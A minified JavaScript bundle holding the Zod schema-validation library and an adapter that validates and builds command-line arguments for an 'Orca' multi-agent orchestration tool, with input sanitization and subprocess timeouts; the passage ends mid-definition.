F({unknownKeys:$._def.unknownKeys,catchall:$._def.catchall,shape:()=>({...this._def.shape(),...$._def.shape()}),typeName:S.ZodObject})}setKey($,W){return this.augment({[$]:W})}catchall($){return new F({...this._def,catchall:$})}pick($){let W={};for(let H of D.objectKeys($))if($[H]&&this.shape[H])W[H]=this.shape[H];return new F({...this._def,shape:()=>W})}omit($){let W={};for(let H of D.objectKeys(this.shape))if(!$[H])W[H]=this.shape[H];return new F({...this._def,shape:()=>W})}deepPartial(){return B$(this)}partial($){let W={};for(let H of D.objectKeys(this.shape)){let G=this.shape[H];if($&&!$[H])W[H]=G;else W[H]=G.optional()}return new F({...this._def,shape:()=>W})}required($){let W={};for(let H of D.objectKeys(this.shape))if($&&!$[H])W[H]=this.shape[H];else{let J=this.shape[H];while(J instanceof y)J=J._def.innerType;W[H]=J}return new F({...this._def,shape:()=>W})}keyof(){return QW(D.objectKeys(this.shape))}}F.create=($,W)=>{return new F({shape:()=>$,unknownKeys:"strip",catchall:u.create(),typeName:S.ZodObject,...N(W)})};F.strictCreate=($,W)=>{return new F({shape:()=>$,unknownKeys:"strict",catchall:u.create(),typeName:S.ZodObject,...N(W)})};F.lazycreate=($,W)=>{return new F({shape:$,unknownKeys:"strip",catchall:u.create(),typeName:S.ZodObject,...N(W)})};class S$ extends L{_parse($){let{ctx:W}=this._processInputParams($),H=this._def.options;function G(J){for(let X of J)if(X.result.status==="valid")return X.result;for(let X of J)if(X.result.status==="dirty")return W.common.issues.push(...X.ctx.common.issues),X.result;let Q=J.map((X)=>new I(X.ctx.common.issues));return M(W,{code:_.invalid_union,unionErrors:Q}),z}if(W.common.async)return Promise.all(H.map(async(J)=>{let Q={...W,common:{...W.common,issues:[]},parent:null};return{result:await J._parseAsync({data:W.data,path:W.path,parent:Q}),ctx:Q}})).then(G);else{let J=void 0,Q=[];for(let Y of H){let q={...W,common:{...W.common,issues:[]},parent:null},j=Y._parseSync({data:W.data,path:W.path,parent:q});if(j.status==="valid")return j;else if(j.status==="dirty"&&!J)J={result:j,ctx:q};if(q.common.issues.length)Q.push(q.common.issues)}if(J)return W.common.issues.push(...J.ctx.common.issues),J.result;let X=Q.map((Y)=>new I(Y));return M(W,{code:_.invalid_union,unionErrors:X}),z}}get options(){return this._def.options}}S$.create=($,W)=>{return new S$({options:$,typeName:S.ZodUnion,...N(W)})};var p=($)=>{if($ instanceof R$)return p($.schema);else if($ instanceof Z)return p($.innerType());else if($ instanceof N$)return[$.value];else if($ instanceof e)return $.options;else if($ instanceof L$)return D.objectValues($.enum);else if($ instanceof D$)return p($._def.innerType);else if($ instanceof w$)return[void 0];else if($ instanceof z$)return[null];else if($ instanceof y)return[void 0,...p($.unwrap())];else if($ instanceof i)return[null,...p($.unwrap())];else if($ instanceof g$)return p($.unwrap());else if($ instanceof K$)return p($.unwrap());else if($ instanceof V$)return p($._def.innerType);else return[]};class h$ extends L{_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==B.object)return M(W,{code:_.invalid_type,expected:B.object,received:W.parsedType}),z;let H=this.discriminator,G=W.data[H],J=this.optionsMap.get(G);if(!J)return M(W,{code:_.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[H]}),z;if(W.common.async)return J._parseAsync({data:W.data,path:W.path,parent:W});else return J._parseSync({data:W.data,path:W.path,parent:W})}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create($,W,H){let G=new Map;for(let J of W){let Q=p(J.shape[$]);if(!Q.length)throw Error(`A discriminator value for key \`${$}\` could not be extracted from all schema options`);for(let X of Q){if(G.has(X))throw Error(`Discriminator property ${String($)} has duplicate value ${String(X)}`);G.set(X,J)}}return new h$({typeName:S.ZodDiscriminatedUnion,discriminator:$,options:W,optionsMap:G,...N(H)})}}function u$($,W){let H=c($),G=c(W);if($===W)return{valid:!0,data:$};else if(H===B.object&&G===B.object){let J=D.objectKeys(W),Q=D.objectKeys($).filter((Y)=>J.indexOf(Y)!==-1),X={...$,...W};for(let Y of Q){let q=u$($[Y],W[Y]);if(!q.valid)return{valid:!1};X[Y]=q.data}return{valid:!0,data:X}}else if(H===B.array&&G===B.array){if($.length!==W.length)return{valid:!1};let J=[];for(let Q=0;Q<$.length;Q++){let X=$[Q],Y=W[Q],q=u$(X,Y);if(!q.valid)return{valid:!1};J.push(q.data)}return{valid:!0,data:J}}else if(H===B.date&&G===B.date&&+$===+W)return{valid:!0,data:$};else return{valid:!1}}class U$ extends L{_parse($){let{status:W,ctx:H}=this._processInputParams($),G=(J,Q)=>{if(P$(J)||P$(Q))return z;let X=u$(J.value,Q.value);if(!X.valid)return M(H,{code:_.invalid_intersection_types}),z;if(k$(J)||k$(Q))W.dirty();return{status:W.value,value:X.data}};if(H.common.async)return Promise.all([this._def.left._parseAsync({data:H.data,path:H.path,parent:H}),this._def.right._parseAsync({data:H.data,path:H.path,parent:H})]).then(([J,Q])=>G(J,Q));else return G(this._def.left._parseSync({data:H.data,path:H.path,parent:H}),this._def.right._parseSync({data:H.data,path:H.path,parent:H}))}}U$.create=($,W,H)=>{return new U$({left:$,right:W,typeName:S.ZodIntersection,...N(H)})};class n extends L{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==B.array)return M(H,{code:_.invalid_type,expected:B.array,received:H.parsedType}),z;if(H.data.length<this._def.items.length)return M(H,{code:_.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),z;if(!this._def.rest&&H.data.length>this._def.items.length)M(H,{code:_.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),W.dirty();let J=[...H.data].map((Q,X)=>{let Y=this._def.items[X]||this._def.rest;if(!Y)return null;return Y._parse(new m(H,Q,H.path,X))}).filter((Q)=>!!Q);if(H.common.async)return Promise.all(J).then((Q)=>{return C.mergeArray(W,Q)});else return C.mergeArray(W,J)}get items(){return this._def.items}rest($){return new n({...this._def,rest:$})}}n.create=($,W)=>{if(!Array.isArray($))throw Error("You must pass an array of schemas to z.tuple([ ... ])");return new n({items:$,typeName:S.ZodTuple,rest:null,...N(W)})};class O$ extends L{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==B.object)return M(H,{code:_.invalid_type,expected:B.object,received:H.parsedType}),z;let G=[],J=this._def.keyType,Q=this._def.valueType;for(let X in H.data)G.push({key:J._parse(new m(H,X,H.path,X)),value:Q._parse(new m(H,H.data[X],H.path,X)),alwaysSet:X in H.data});if(H.common.async)return C.mergeObjectAsync(W,G);else return C.mergeObjectSync(W,G)}get element(){return this._def.valueType}static create($,W,H){if(W instanceof L)return new O$({keyType:$,valueType:W,typeName:S.ZodRecord,...N(H)});return new O$({keyType:T.create(),valueType:$,typeName:S.ZodRecord,...N(W)})}}class f$ extends L{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==B.map)return M(H,{code:_.invalid_type,expected:B.map,received:H.parsedType}),z;let G=this._def.keyType,J=this._def.valueType,Q=[...H.data.entries()].map(([X,Y],q)=>{return{key:G._parse(new m(H,X,H.path,[q,"key"])),value:J._parse(new m(H,Y,H.path,[q,"value"]))}});if(H.common.async){let X=new Map;return Promise.resolve().then(async()=>{for(let Y of Q){let q=await Y.key,j=await Y.value;if(q.status==="aborted"||j.status==="aborted")return z;if(q.status==="dirty"||j.status==="dirty")W.dirty();X.set(q.value,j.value)}return{status:W.value,value:X}})}else{let X=new Map;for(let Y of Q){let{key:q,value:j}=Y;if(q.status==="aborted"||j.status==="aborted")return z;if(q.status==="dirty"||j.status==="dirty")W.dirty();X.set(q.value,j.value)}return{status:W.value,value:X}}}}f$.create=($,W,H)=>{return new f$({valueType:W,keyType:$,typeName:S.ZodMap,...N(H)})};class X$ extends L{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.parsedType!==B.set)return M(H,{code:_.invalid_type,expected:B.set,received:H.parsedType}),z;let G=this._def;if(G.minSize!==null){if(H.data.size<G.minSize.value)M(H,{code:_.too_small,minimum:G.minSize.value,type:"set",inclusive:!0,exact:!1,message:G.minSize.message}),W.dirty()}if(G.maxSize!==null){if(H.data.size>G.maxSize.value)M(H,{code:_.too_big,maximum:G.maxSize.value,type:"set",inclusive:!0,exact:!1,message:G.maxSize.message}),W.dirty()}let J=this._def.valueType;function Q(Y){let q=new Set;for(let j of Y){if(j.status==="aborted")return z;if(j.status==="dirty")W.dirty();q.add(j.value)}return{status:W.value,value:q}}let X=[...H.data.values()].map((Y,q)=>J._parse(new m(H,Y,H.path,q)));if(H.common.async)return Promise.all(X).then((Y)=>Q(Y));else return Q(X)}min($,W){return new X$({...this._def,minSize:{value:$,message:w.toString(W)}})}max($,W){return new X$({...this._def,maxSize:{value:$,message:w.toString(W)}})}size($,W){return this.min($,W).max($,W)}nonempty($){return this.min(1,$)}}X$.create=($,W)=>{return new X$({valueType:$,minSize:null,maxSize:null,typeName:S.ZodSet,...N(W)})};class M$ extends L{constructor(){super(...arguments);this.validate=this.implement}_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==B.function)return M(W,{code:_.invalid_type,expected:B.function,received:W.parsedType}),z;function H(X,Y){return b$({data:X,path:W.path,errorMaps:[W.common.contextualErrorMap,W.schemaErrorMap,q$(),d].filter((q)=>!!q),issueData:{code:_.invalid_arguments,argumentsError:Y}})}function G(X,Y){return b$({data:X,path:W.path,errorMaps:[W.common.contextualErrorMap,W.schemaErrorMap,q$(),d].filter((q)=>!!q),issueData:{code:_.invalid_return_type,returnTypeError:Y}})}let J={errorMap:W.common.contextualErrorMap},Q=W.data;if(this._def.returns instanceof Y$){let X=this;return v(async function(...Y){let q=new I([]),j=await X._def.args.parseAsync(Y,J).catch((P)=>{throw q.addIssue(H(Y,P)),q}),V=await Reflect.apply(Q,this,j);return await X._def.returns._def.type.parseAsync(V,J).catch((P)=>{throw q.addIssue(G(V,P)),q})})}else{let X=this;return v(function(...Y){let q=X._def.args.safeParse(Y,J);if(!q.success)throw new I([H(Y,q.error)]);let j=Reflect.apply(Q,this,q.data),V=X._def.returns.safeParse(j,J);if(!V.success)throw new I([G(j,V.error)]);return V.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...$){return new M$({...this._def,args:n.create($).rest(o.create())})}returns($){return new M$({...this._def,returns:$})}implement($){return this.parse($)}strictImplement($){return this.parse($)}static create($,W,H){return new M$({args:$?$:n.create([]).rest(o.create()),returns:W||o.create(),typeName:S.ZodFunction,...N(H)})}}class R$ extends L{get schema(){return this._def.getter()}_parse($){let{ctx:W}=this._processInputParams($);return this._def.getter()._parse({data:W.data,path:W.path,parent:W})}}R$.create=($,W)=>{return new R$({getter:$,typeName:S.ZodLazy,...N(W)})};class N$ extends L{_parse($){if($.data!==this._def.value){let W=this._getOrReturnCtx($);return M(W,{received:W.data,code:_.invalid_literal,expected:this._def.value}),z}return{status:"valid",value:$.data}}get value(){return this._def.value}}N$.create=($,W)=>{return new N$({value:$,typeName:S.ZodLiteral,...N(W)})};function QW($,W){return new e({values:$,typeName:S.ZodEnum,...N(W)})}class e extends L{_parse($){if(typeof $.data!=="string"){let W=this._getOrReturnCtx($),H=this._def.values;return M(W,{expected:D.joinValues(H),received:W.parsedType,code:_.invalid_type}),z}if(!this._cache)this._cache=new Set(this._def.values);if(!this._cache.has($.data)){let W=this._getOrReturnCtx($),H=this._def.values;return M(W,{received:W.data,code:_.invalid_enum_value,options:H}),z}return v($.data)}get options(){return this._def.values}get enum(){let $={};for(let W of this._def.values)$[W]=W;return $}get Values(){let $={};for(let W of this._def.values)$[W]=W;return $}get Enum(){let $={};for(let W of this._def.values)$[W]=W;return $}extract($,W=this._def){return e.create($,{...this._def,...W})}exclude($,W=this._def){return e.create(this.options.filter((H)=>!$.includes(H)),{...this._def,...W})}}e.create=QW;class L$ extends L{_parse($){let W=D.getValidEnumValues(this._def.values),H=this._getOrReturnCtx($);if(H.parsedType!==B.string&&H.parsedType!==B.number){let G=D.objectValues(W);return M(H,{expected:D.joinValues(G),received:H.parsedType,code:_.invalid_type}),z}if(!this._cache)this._cache=new Set(D.getValidEnumValues(this._def.values));if(!this._cache.has($.data)){let G=D.objectValues(W);return M(H,{received:H.data,code:_.invalid_enum_value,options:G}),z}return v($.data)}get enum(){return this._def.values}}L$.create=($,W)=>{return new L$({values:$,typeName:S.ZodNativeEnum,...N(W)})};class Y$ extends L{unwrap(){return this._def.type}_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==B.promise&&W.common.async===!1)return M(W,{code:_.invalid_type,expected:B.promise,received:W.parsedType}),z;let H=W.parsedType===B.promise?W.data:Promise.resolve(W.data);return v(H.then((G)=>{return this._def.type.parseAsync(G,{path:W.path,errorMap:W.common.contextualErrorMap})}))}}Y$.create=($,W)=>{return new Y$({type:$,typeName:S.ZodPromise,...N(W)})};class Z extends L{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===S.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse($){let{status:W,ctx:H}=this._processInputParams($),G=this._def.effect||null,J={addIssue:(Q)=>{if(M(H,Q),Q.fatal)W.abort();else W.dirty()},get path(){return H.path}};if(J.addIssue=J.addIssue.bind(J),G.type==="preprocess"){let Q=G.transform(H.data,J);if(H.common.async)return Promise.resolve(Q).then(async(X)=>{if(W.value==="aborted")return z;let Y=await this._def.schema._parseAsync({data:X,path:H.path,parent:H});if(Y.status==="aborted")return z;if(Y.status==="dirty")return J$(Y.value);if(W.value==="dirty")return J$(Y.value);return Y});else{if(W.value==="aborted")return z;let X=this._def.schema._parseSync({data:Q,path:H.path,parent:H});if(X.status==="aborted")return z;if(X.status==="dirty")return J$(X.value);if(W.value==="dirty")return J$(X.value);return X}}if(G.type==="refinement"){let Q=(X)=>{let Y=G.refinement(X,J);if(H.common.async)return Promise.resolve(Y);if(Y instanceof Promise)throw Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return X};if(H.common.async===!1){let X=this._def.schema._parseSync({data:H.data,path:H.path,parent:H});if(X.status==="aborted")return z;if(X.status==="dirty")W.dirty();return Q(X.value),{status:W.value,value:X.value}}else return this._def.schema._parseAsync({data:H.data,path:H.path,parent:H}).then((X)=>{if(X.status==="aborted")return z;if(X.status==="dirty")W.dirty();return Q(X.value).then(()=>{return{status:W.value,value:X.value}})})}if(G.type==="transform")if(H.common.async===!1){let Q=this._def.schema._parseSync({data:H.data,path:H.path,parent:H});if(!r(Q))return z;let X=G.transform(Q.value,J);if(X instanceof Promise)throw Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:W.value,value:X}}else return this._def.schema._parseAsync({data:H.data,path:H.path,parent:H}).then((Q)=>{if(!r(Q))return z;return Promise.resolve(G.transform(Q.value,J)).then((X)=>({status:W.value,value:X}))});D.assertNever(G)}}Z.create=($,W,H)=>{return new Z({schema:$,typeName:S.ZodEffects,effect:W,...N(H)})};Z.createWithPreprocess=($,W,H)=>{return new Z({schema:W,effect:{type:"preprocess",transform:$},typeName:S.ZodEffects,...N(H)})};class y extends L{_parse($){if(this._getType($)===B.undefined)return v(void 0);return this._def.innerType._parse($)}unwrap(){return this._def.innerType}}y.create=($,W)=>{return new y({innerType:$,typeName:S.ZodOptional,...N(W)})};class i extends L{_parse($){if(this._getType($)===B.null)return v(null);return this._def.innerType._parse($)}unwrap(){return this._def.innerType}}i.create=($,W)=>{return new i({innerType:$,typeName:S.ZodNullable,...N(W)})};class D$ extends L{_parse($){let{ctx:W}=this._processInputParams($),H=W.data;if(W.parsedType===B.undefined)H=this._def.defaultValue();return this._def.innerType._parse({data:H,path:W.path,parent:W})}removeDefault(){return this._def.innerType}}D$.create=($,W)=>{return new D$({innerType:$,typeName:S.ZodDefault,defaultValue:typeof W.default==="function"?W.default:()=>W.default,...N(W)})};class V$ extends L{_parse($){let{ctx:W}=this._processInputParams($),H={...W,common:{...W.common,issues:[]}},G=this._def.innerType._parse({data:H.data,path:H.path,parent:{...H}});if(_$(G))return G.then((J)=>{return{status:"valid",value:J.status==="valid"?J.value:this._def.catchValue({get error(){return new I(H.common.issues)},input:H.data})}});else return{status:"valid",value:G.status==="valid"?G.value:this._def.catchValue({get error(){return new I(H.common.issues)},input:H.data})}}removeCatch(){return this._def.innerType}}V$.create=($,W)=>{return new V$({innerType:$,typeName:S.ZodCatch,catchValue:typeof W.catch==="function"?W.catch:()=>W.catch,...N(W)})};class C$ extends L{_parse($){if(this._getType($)!==B.nan){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.nan,received:H.parsedType}),z}return{status:"valid",value:$.data}}}C$.create=($)=>{return new C$({typeName:S.ZodNaN,...N($)})};var J3=Symbol("zod_brand");class g$ extends L{_parse($){let{ctx:W}=this._processInputParams($),H=W.data;return this._def.type._parse({data:H,path:W.path,parent:W})}unwrap(){return this._def.type}}class v$ extends L{_parse($){let{status:W,ctx:H}=this._processInputParams($);if(H.common.async)return(async()=>{let J=await this._def.in._parseAsync({data:H.data,path:H.path,parent:H});if(J.status==="aborted")return z;if(J.status==="dirty")return W.dirty(),J$(J.value);else return this._def.out._parseAsync({data:J.value,path:H.path,parent:H})})();else{let G=this._def.in._parseSync({data:H.data,path:H.path,parent:H});if(G.status==="aborted")return z;if(G.status==="dirty")return W.dirty(),{status:"dirty",value:G.value};else return this._def.out._parseSync({data:G.value,path:H.path,parent:H})}}static create($,W){return new v$({in:$,out:W,typeName:S.ZodPipeline})}}class K$ extends L{_parse($){let W=this._def.innerType._parse($),H=(G)=>{if(r(G))G.value=Object.freeze(G.value);return G};return _$(W)?W.then((G)=>H(G)):H(W)}unwrap(){return this._def.innerType}}K$.create=($,W)=>{return new K$({innerType:$,typeName:S.ZodReadonly,...N(W)})};function WW($,W){let H=typeof $==="function"?$(W):typeof $==="string"?{message:$}:$;return typeof H==="string"?{message:H}:H}function XW($,W={},H){if($)return Q$.create().superRefine((G,J)=>{let Q=$(G);if(Q instanceof Promise)return Q.then((X)=>{if(!X){let Y=WW(W,G),q=Y.fatal??H??!0;J.addIssue({code:"custom",...Y,fatal:q})}});if(!Q){let X=WW(W,G),Y=X.fatal??H??!0;J.addIssue({code:"custom",...X,fatal:Y})}return});return Q$.create()}var G3={object:F.lazycreate},S;(function($){$.ZodString="ZodString",$.ZodNumber="ZodNumber",$.ZodNaN="ZodNaN",$.ZodBigInt="ZodBigInt",$.ZodBoolean="ZodBoolean",$.ZodDate="ZodDate",$.ZodSymbol="ZodSymbol",$.ZodUndefined="ZodUndefined",$.ZodNull="ZodNull",$.ZodAny="ZodAny",$.ZodUnknown="ZodUnknown",$.ZodNever="ZodNever",$.ZodVoid="ZodVoid",$.ZodArray="ZodArray",$.ZodObject="ZodObject",$.ZodUnion="ZodUnion",$.ZodDiscriminatedUnion="ZodDiscriminatedUnion",$.ZodIntersection="ZodIntersection",$.ZodTuple="ZodTuple",$.ZodRecord="ZodRecord",$.ZodMap="ZodMap",$.ZodSet="ZodSet",$.ZodFunction="ZodFunction",$.ZodLazy="ZodLazy",$.ZodLiteral="ZodLiteral",$.ZodEnum="ZodEnum",$.ZodEffects="ZodEffects",$.ZodNativeEnum="ZodNativeEnum",$.ZodOptional="ZodOptional",$.ZodNullable="ZodNullable",$.ZodDefault="ZodDefault",$.ZodCatch="ZodCatch",$.ZodPromise="ZodPromise",$.ZodBranded="ZodBranded",$.ZodPipeline="ZodPipeline",$.ZodReadonly="ZodReadonly"})(S||(S={}));var Q3=($,W={message:`Input not instance of ${$.name}`})=>XW((H)=>H instanceof $,W),YW=T.create,qW=a.create,X3=C$.create,Y3=t.create,_W=j$.create,q3=G$.create,_3=F$.create,B3=w$.create,M3=z$.create,j3=Q$.create,w3=o.create,z3=u.create,S3=A$.create,U3=x.create,R3=F.create,N3=F.strictCreate,L3=S$.create,D3=h$.create,V3=U$.create,K3=n.create,E3=O$.create,b3=f$.create,F3=X$.create,A3=M$.create,O3=R$.create,f3=N$.create,C3=e.create,v3=L$.create,I3=Y$.create,P3=Z.create,k3=y.create,h3=i.create,g3=Z.createWithPreprocess,T3=v$.create,x3=()=>YW().optional(),y3=()=>qW().optional(),m3=()=>_W().optional(),Z3={string:($)=>T.create({...$,coerce:!0}),number:($)=>a.create({...$,coerce:!0}),boolean:($)=>j$.create({...$,coerce:!0}),bigint:($)=>t.create({...$,coerce:!0}),date:($)=>G$.create({...$,coerce:!0})};var l3=z;var u3=["run-create","run-list","run-show","run-current","run-use","task-create","task-list","task-update","worker-start","worker-show","worker-read","worker-release","send","check","reply","ask","gate-create","gate-list","gate-resolve"];class A extends Error{code;operation;phase;retrySafety;recovery;stderr;name="OrcaAdapterError";constructor($,W,H,G,J,Q,X){super(Q);this.code=$;this.operation=W;this.phase=H;this.retrySafety=G;this.recovery=J;this.stderr=X}}var R=U.string().regex(/^[A-Za-z][A-Za-z0-9_-]{0,127}$/),o$=($)=>U.string().refine((W)=>W===W.normalize("NFC"),"must be NFC-normalized").refine((W)=>!W.includes("\x00")&&!/[\uD800-\uDFFF]/u.test(W),"contains an invalid code point").refine((W)=>Buffer.byteLength(W,"utf8")>=1&&Buffer.byteLength(W,"utf8")<=$),l=o$(16384),s=o$(512),W$=o$(256),I$=U.string().min(1).max(512).regex(/^[\x21-\x7E]+$/).refine(($)=>!$.startsWith("-")&&!/[;&|`$<>\\(){}\[\]*?!'\"]/.test($)),zW=I$.refine(($)=>Buffer.byteLength($,"utf8")<=128),BW=U.number().int().min(1).max(100),n$=U.number().int().min(250).max(600000),p$=U.enum(["pending","ready","dispatched","completed","failed","blocked"]),SW=U.enum(["pending","resolved"]),T$=U.enum(["status","dispatch","worker_done","merge_ready","escalation","handoff","question","decision_gate","heartbeat"]),n3=U.enum(["low","normal","high","urgent"]),UW=U.enum(["auto","transcript","terminal"]),RW=U.enum(["claude","codex","cursor","droid","gemini","grok","opencode"]),NW=U.enum(["low","medium","high","xhigh"]),$$=($,W,H=0)=>U.array($).min(H).max(W).refine((G)=>new Set(G).size===G.length,"items must be unique"),LW=U.object({summary:l,artifacts:$$(W$,32).optional()}).strict().refine(($)=>Buffer.byteLength(JSON.stringify($))<=32768),d3=U.object({taskId:R.optional(),dispatchId:R.optional(),phase:W$.optional(),outcome:U.enum(["succeeded","failed"]).optional(),filesModified:$$(W$,128).optional(),reportPath:W$.optional()}).strict().refine(($)=>Object.keys($).length>0,"payload must not be empty").refine(($)=>Buffer.byteLength(JSON.stringify($))<=32768),f=($,W)=>U.object({operation:U.literal($),...W}).strict(),DW=U.union([f("run-create",{objective:l}),f("run-list",{limit:BW.optional(),cursor:I$.optional()}),f("run-show",{id:R}),f("run-current",{}),f("run-use",{id:R}),f("task-create",{spec:l,title:s.optional(),deps:$$(R,64).optional(),parent:R.optional()}),f("task-list",{status:p$.optional(),ready:U.boolean().optional(),brief:U.boolean().optional()}),f("task-update",{id:R,status:p$,result:LW.optional()}),f("worker-start",{task:R,agent:RW,model:zW.optional(),effort:NW.optional(),timeoutMs:n$.optional()}).refine(($)=>$.effort===void 0||$.model!==void 0,{message:"effort requires model"}),f("worker-show",{dispatch:R}),f("worker-read",{dispatch:R,source:UW.optional(),cursor:I$.optional(),limit:BW.optional()}),f("worker-release",{dispatch:R}),f("send",{subject:s,body:l.optional(),type:T$.optional(),priority:n3.optional(),threadId:R.optional(),payload:d3.optional()}),f("check",{ack:R.optional(),unread:U.boolean().optional(),peek:U.boolean().optional(),all:U.boolean().optional(),types:$$(T$,T$.options.length,1).optional(),wait:U.boolean().optional(),timeoutMs:n$.optional()}).refine(($)=>[$.unread,$.peek,$.all].filter((W)=>W===!0).length<=1,{message:"unread, peek, and all are mutually exclusive"}).refine(($)=>$.timeoutMs===void 0||$.wait===!0,{message:"timeoutMs requires wait"}),f("reply",{id:R,body:l}),f("ask",{question:s.optional(),resume:R.optional(),options:$$(W$,10,1).optional(),timeoutMs:n$.optional()}).refine(($)=>$.question===void 0!==($.resume===void 0),{message:"exactly one of question or resume is required"}).refine(($)=>$.options===void 0||$.question!==void 0,{message:"options require question"}).refine(($)=>$.options?.every((W)=>!/[,\r\n]/.test(W))??!0,{message:"ask options cannot contain comma, CR, or LF"}),f("gate-create",{task:R,question:s,options:$$(W$,10,1).optional()}),f("gate-list",{task:R.optional(),status:SW.optional()}),f("gate-resolve",{id:R,resolution:l,task:R})]);function K($,W){if(W.length>0&&W[0]==="-")throw new A("invalid_argument","runtime","validate","safe","Correct the rejected semantic value and retry.",`${$} has a flag-shaped value`);return[$,W]}function O($,W){return W===void 0?[]:K($,String(W))}function E$($,W){return W===!0?[$]:[]}function MW($){let W=DW.safeParse($);if(!W.success){let J=p3($);throw new A(J===void 0?"invalid_operation":"invalid_argument",J??"runtime","validate","safe","Correct the semantic input and retry.",W.error.issues.map((Q)=>Q.message).join("; "))}let H=W.data,G=i3(H);return Object.freeze(["orchestration",H.operation,...G,"--json"])}function p3($){if(typeof $!=="object"||$===null||!("operation"in $))return;let W=$.operation;return u3.find((H)=>H===W)}function i3($){switch($.operation){case"run-create":return K("--objective",$.objective);case"run-list":return[...O("--limit",$.limit),...O("--cursor",$.cursor)];case"run-show":case"run-use":return K("--id",$.id);case"run-current":return[];case"task-create":return[...K("--spec",$.spec),...O("--task-title",$.title),...$.deps===void 0?[]:K("--deps",JSON.stringify($.deps)),...O("--parent",$.parent)];case"task-list":return[...O("--status",$.status),...E$("--ready",$.ready),...E$("--brief",$.brief)];case"task-update":return[...K("--id",$.id),...K("--status",$.status),...$.result===void 0?[]:K("--result",JSON.stringify($.result))];case"worker-start":return[...K("--task",$.task),"--worktree","current",...K("--agent",$.agent),...O("--model",$.model),...O("--effort",$.effort),...O("--timeout-ms",$.timeoutMs)];case"worker-show":case"worker-release":return K("--dispatch",$.dispatch);case"worker-read":return[...K("--dispatch",$.dispatch),...O("--source",$.source),...O("--cursor",$.cursor),...O("--limit",$.limit)];case"send":return[...K("--subject",$.subject),...O("--body",$.body),...O("--type",$.type),...O("--priority",$.priority),...O("--thread-id",$.threadId),...$.payload===void 0?[]:K("--payload",JSON.stringify($.payload))];case"check":return[...O("--ack",$.ack),...E$("--unread",$.unread),...E$("--peek",$.peek),...E$("--all",$.all),...$.types===void 0?[]:K("--types",$.types.join(",")),...E$("--wait",$.wait),...O("--timeout-ms",$.timeoutMs)];case"reply":return[...K("--id",$.id),...K("--body",$.body)];case"ask":return[...$.question===void 0?K("--resume",$.resume):K("--question",$.question),...$.options===void 0?[]:K("--options",$.options.join(",")),...O("--timeout-ms",$.timeoutMs)];case"gate-create":return[...K("--task",$.task),...K("--question",$.question),...$.options===void 0?[]:K("--options",JSON.stringify($.options))];case"gate-list":return[...O("--task",$.task),...O("--status",$.status)];case"gate-resolve":return[...K("--id",$.id),...K("--resolution",$.resolution)]}}function s3($={}){let W=$.platform??process.platform;if(W==="win32")return"orca.exe";if(W==="darwin")return"orca";if(W==="linux")return $.managedTerminal===!0?"orca":"orca-ide";throw new A("unsupported_platform","runtime","resolve","safe","Run the adapter on a supported Orca host.",`unsupported platform: ${W}`)}var r3=30000,o3=1048576,a3=65536,t3=1000,e3=1000,VW=async($)=>new Promise((W,H)=>{let G=c3($.executable,[...$.argv],{shell:$.shell,env:$.env,stdio:["ignore","pipe","pipe"],windowsHide:!0}),J=[],Q=[],X=0,Y=0,q=!1,j=!1,V=!1,g=!1,P,k,m$=(h)=>{if(q)return;if(q=!0,clearTimeout(t$),P!==void 0)clearTimeout(P);if(k!==void 0)clearTimeout(k);W(h)},Z$=()=>{G.kill("SIGTERM"),P??=setTimeout(()=>{G.kill("SIGKILL"),k??=setTimeout(()=>m$({exitCode:null,signal:"SIGKILL",stdout:Buffer.concat(J).toString("utf8"),stderr:Buffer.concat(Q).toString("utf8"),timedOut:j,outputLimited:V,transportLost:!0}),e3)},t3)},t$=setTimeout(()=>{j=!0,Z$()},$.timeoutMs);G.stdout.on("data",(h)=>{if(X+=h.length,X>$.maxStdoutBytes)V=!0,Z$();else J.push(h)}),G.stderr.on("data",(h)=>{if(Y+=h.length,Y>$.maxStderrBytes)V=!0,Z$();else Q.push(h)}),G.once("spawn",()=>{g=!0}),G.once("error",(h)=>{if(q)return;if(g){m$({exitCode:null,stdout:Buffer.concat(J).toString("utf8"),stderr:`${Buffer.concat(Q).toString("utf8")} -process transport error: ${h.message}`,timedOut:j,outputLimited:V,transportLost:!0});return}if(q=!0,clearTimeout(t$),P!==void 0)clearTimeout(P);if(k!==void 0)clearTimeout(k);H(h)}),G.once("close",(h,OW)=>{if(q)return;m$({exitCode:h,signal:OW,stdout:Buffer.concat(J).toString("utf8"),stderr:Buffer.concat(Q).toString("utf8"),timedOut:j,outputLimited:V})})}),x$=R,b=($)=>U.object($).strict(),d$=b({id:R,objective:l.optional(),coordinatorTerminalHandle:x$.optional()}),$0=b({id:R,spec:l,title:s.optional(),deps:$$(R,64).optional(),parent:R.optional(),status:p$,result:LW.optional()}),W0=b({id:R,taskId:R,agent:RW.optional(),model:zW.optional(),effort:NW.optional(),state:W$.optional(),terminalDisposition:U.enum(["released","retained"]).optional()}),H0=b({id:R,taskId:R,question:s,options:$$(W$,10,1).optional(),status:SW,resolution:l.optional()}),jW=b({messageId:R}),J0=U.union([b({messageId:R,state:U.literal("answered"),answer:l}),b({messageId:R,state:U.literal("pending")})]),G0=b({deliveryId:R.optional(),acknowledged:U.boolean().optional(),messages:U.array(b({id:R,type:T$,subject:s})).max(50).optional(),count:U.number().int().min(0).max(50).optional()}),Q0={"run-create":b({runId:R}),"run-list":b({runs:U.array(d$).max(100),cursor:I$.optional()}),"run-show":b({run:d$}),"run-current":b({run:d$,coordinatorTerminalHandl